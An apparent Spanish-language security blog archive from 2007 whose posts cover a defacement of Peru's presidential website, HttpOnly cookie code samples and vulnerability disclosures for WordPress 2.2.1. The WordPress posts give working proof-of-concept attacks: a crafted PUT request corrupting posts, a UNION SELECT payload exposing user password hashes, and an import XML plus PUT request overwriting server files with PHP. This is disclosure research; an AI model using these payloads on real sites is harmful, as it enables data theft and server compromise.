Category: Web

Categories
Perú Seguridad Web

Atacan portal de la Presidencia de Perú

Al parecer, el portal de la Presidencia de Perú sufrió ataques el día de ayer por parte de [posibles] crackers chilenos.

Piratas informáticos supuestamente chilenos atacaron en dos oportunidades el portal de Internet de la Presidencia de Perú y reemplazaron la imagen del jefe de Estado, Alan García, por la del libertador chileno Bernardo O’Higgins, informaron fuentes oficiales.

EFE.- Junto a la imagen de O’Higgins se leía: “¡Viva Chile!”, dijo hoy a Efe una fuente de Palacio de Gobierno.

En el primer ataque a la página oficial, que se produjo a las 13.00 hora local (18.00 GMT) del martes, se colocó una imagen ininteligible de colores verde fosforescente y negro, que fue después eliminada por los técnicos de Palacio, agregó la fuente.

En la segunda intervención informática, que se registró alrededor de las 19.00 hora local (00.00 GMT) del miércoles, se colocó la foto del libertador chileno, que también fue retirada del portal gubernamental.

Expertos informáticos del gobierno y de la empresa Telefónica del Perú investigan los hechos, manifestó la fuente de Palacio.

Más allá de esta triste noticia y los extraños motivos de los atacantes, recuerdo que hace tiempo envié un mail al webmaster de este portal conteniendo un -- pequeño -- reporte de las vulnerabilidades que había encontrado, pero jamás obtuve una respuesta. Hoy, luego de leer sobre el incidente y revisar esa página, veo que algunos problemas que reporté todavía siguen sin corregirse.

Lo más probable es que este incidente se vuelva a repetir si no toman las medidas adecuadas no sólo en este portal, sino también en muchos sitios de instituciones que pertenecen al gobierno -- que además de pasar por alto los estándares de accesibilidad y usabilidad, como se puede apreciar en este tipo de incidentes, son muy inseguros.

Categories
Firefox Seguridad Web XSS

Firefox 2.0.0.5 finalmente implementa las cookies HttpOnly

Un poco antes de lo esperado, esta última actualización de Firefox (2.0.0.5), finalmente incluye el soporte para cookies HttpOnly.

Ejemplos de uso en ASP.NET y PHP:

asp:

<%@ Page Language="C#" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<script runat="server">

    protected void Page_Load(object sender, EventArgs e)
    {
        Response.Cookies["Demo"].Value = "Prueba";
        Response.Cookies["Demo"].Secure = true;
    }
</script>

<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
    <title>HttpOnly Firefox 2.0.0.5</title>
    <script type="text/javascript">
    alert(document.cookie);
    </script>
</head>
<body>

</body>
</html>

php:

<?php

// PHP 4
setcookie('foo', 'test', null, '/;HttpOnly');
/*
PHP 5

setcookie('foo', 'test', null, null, null, true);
// o
ini_set("session.cookie_httponly", 1);
// o
session_set_cookie_params(0, NULL, NULL, NULL, TRUE);
*/

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
    <title>HttpOnly Firefox 2.0.0.5</title>
        <script type="text/javascript">
            //<![CDATA[
            alert(document.cookie)
            //]]>
        </script>
</head>
</html>

Como mencioné anteriormente, esta característica no es la panacea para evitar el robo de cookies a través de XSS, pero por lo menos reducirá un poco los vectores de ataque.

Categories
Seguridad Sql Injection Web WordPress

WordPress: Más vulnerabilidades de inyección de SQL

Puesto que en estos días ando algo ocupado y sin muchas ideas para publicar, aprovecharé la oleada de reportes de seguridad en WordPress para comentar algunos bugs que todavía no están corregidos en la versión 2.2.1 ni en la versión en desarrollo, a pesar de que los reporté hace como dos o tres semanas.

Primera variante

Se puede reproducir en las funciones create_post, put_post y put_attachment de wp-app.php, este error se produce porque no escapan adecuadamente todos los caracteres potencialmente peligrosos en los datos que son enviados a ésta página. Esta es la única función que actúa sobre esos datos:

php:

function xml_escape($string)
{
         return str_replace(array('&','"',"'",'<','>'),
                array('&amp;','&quot;','&apos;','&lt;','&gt;'),
                $string );
}

El siguiente ejemplo muestra una petición HTTP que arruinará los contenidos de la tabla wp_posts, en este caso se usa el método put_post.

code:

PUT /wp/wp-app.php?action=/post/55 HTTP/1.1
Cookie: auth cookies
Content-Type: application/atom+xml
Host: localhost
Content-Length: 170

<feed>
    <entry>
        <id>http://localhost/wp/archivos/titulo-modificado/</id>
        <title type="html">foo\</title>
        <summary type="html">/*</summary>       
    </entry>
</feed>

Al realizar esa petición HTTP, la consulta ejecutada será:

sql:

UPDATE IGNORE wp_svn_posts SET
                        post_author = '1',
                        post_date = '2007-06-27 22:57:05',
                        post_date_gmt = '2007-06-28 03:57:05',
                        post_content = '',
                        post_content_filtered = '',
                        post_title = 'foo\',
                        post_excerpt = '/*',

                        post_status = 'publish',
                        post_type = 'post',
                        comment_status = 'open',
                        ping_status = 'open',
                        post_password = '',
                        post_name = 'test',
                        to_ping = '',
                        pinged = '',
                        post_modified = '2007-07-12 23:05:39',
                        post_modified_gmt = '2007-07-13 04:05:39',
                        post_parent = '0',
                        menu_order = '0'
                        WHERE ID = 55
 

Segunda variante

Esta variante está en estrecha relación a lo discutido en "PHP: Uso adecuado de parse_str", en esta entrada, a pesar de que existen más lugares donde se puede hacer lo mismo, sólo mostraré un caso específico.

En el widget para mostrar páginas, existe una opción que permite indicar los IDs de las páginas a excluir, este valor se almacena sin casi ningún tipo de validación (sólo se aplica strip_tags). Si hacemos que ese parámetro tenga el siguiente valor (puede variar de acuerdo a la versión que usen), en la página principal del blog se mostrará la lista de usuarios con su respectiva contraseña en MD5.

code:

2&hierarchical=0&meta_key=2') UNION ALL SELECT 1,1,2,3,4,concat(user_login,0x7C,user_pass),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 FROM wp_svn_users/*&meta_value=1

Usando este mismo método, es posible realizar ataques XSS en wordpress.com (ver demo, funciona en IE y algunas veces en Firefox), en este caso, las vulnerabilidades de XSS son más peligrosas porque las cookies son globales, es decir, se comparten entre todos los subdominios de wordpress.com.

Categories
Miniposts Seguridad Web WordPress

Seguridad en WordPress

Un par de enlaces relacionados a los problemas de seguridad de WordPress:

  • Existe una propuesta para cambiar la forma en que se interactúa con la base de datos, esto es, utilizar una especie de consultas parametrizadas basadas en sprintf con el fin de evitar el gran número de problemas de SQL Injection que existe con el esquema actual, que no es otra cosa que una implementación propia de magic_quotes.
  • Entrevista a Steffan Esser sobre el estado de la seguridad de WordPress.
Categories
Seguridad Web WordPress

WordPress: Arbitrary File Upload – Parte 2

Como había comentado en la primera parte, la versión 2.2.1 de WordPress sólo arregla parte del problema reportado, esto se debe a que el parche utilizado sólo evita que se añada o actualice el valor de _wp_attached_file en la edición de entradas y páginas (ver la función add_meta en wp-admin/admin-functions.php).

Sin embargo, si esta vez utilizamos la funcionalidad para importar entradas desde otro blog con WordPress, podemos ingresar valores arbitrarios para _wp_attached_file. Por ejemplo el siguiente archivo XML está especialmente preparado para hacer eso:

xml:

<rss>
<channel>
        <item>
                <title>Exploit</title>
                <link>http://localhost/wp/?attachment_id=49</link>
                <pubDate>Sun, 24 Jun 2007 03:23:06 +0000</pubDate>
                <dc:creator>admin</dc:creator>
                <wp:post_id>49</wp:post_id>
                <wp:post_name>exploit</wp:post_name>
                <wp:status>inherit</wp:status>
                <wp:post_type>attachment</wp:post_type>
                <wp:postmeta>
                        <wp:meta_key>_wp_attached_file</wp:meta_key>

                        <wp:meta_value>/home/vulnerable.com/public_html/wp-content/uploads/test.php</wp:meta_value>

                </wp:postmeta>
                <wp:postmeta>
                        <wp:meta_key>_wp_attachment_metadata</wp:meta_key>
                        <wp:meta_value>a:0:{}</wp:meta_value>
                </wp:postmeta>
        </item>
</channel>
</rss>

Una vez que se haya importado esa entrada, el proceso para sobrescribir el archivo es el mismo que en el anterior caso:

code:

PUT /wp/wp-app.php?action=/attachment/file/49 HTTP/1.1
Cookie: auth cookies
Content-Type: image/gif
Host: vulnerable.com
Content-Length: the content length

<?php echo "Hello World"; ?>

Se agregó otro parche para intentar solucionar este problema en wp-app.php, el cual valida el archivo que se va a leer (función get_file) o sobreescribir (función put_file).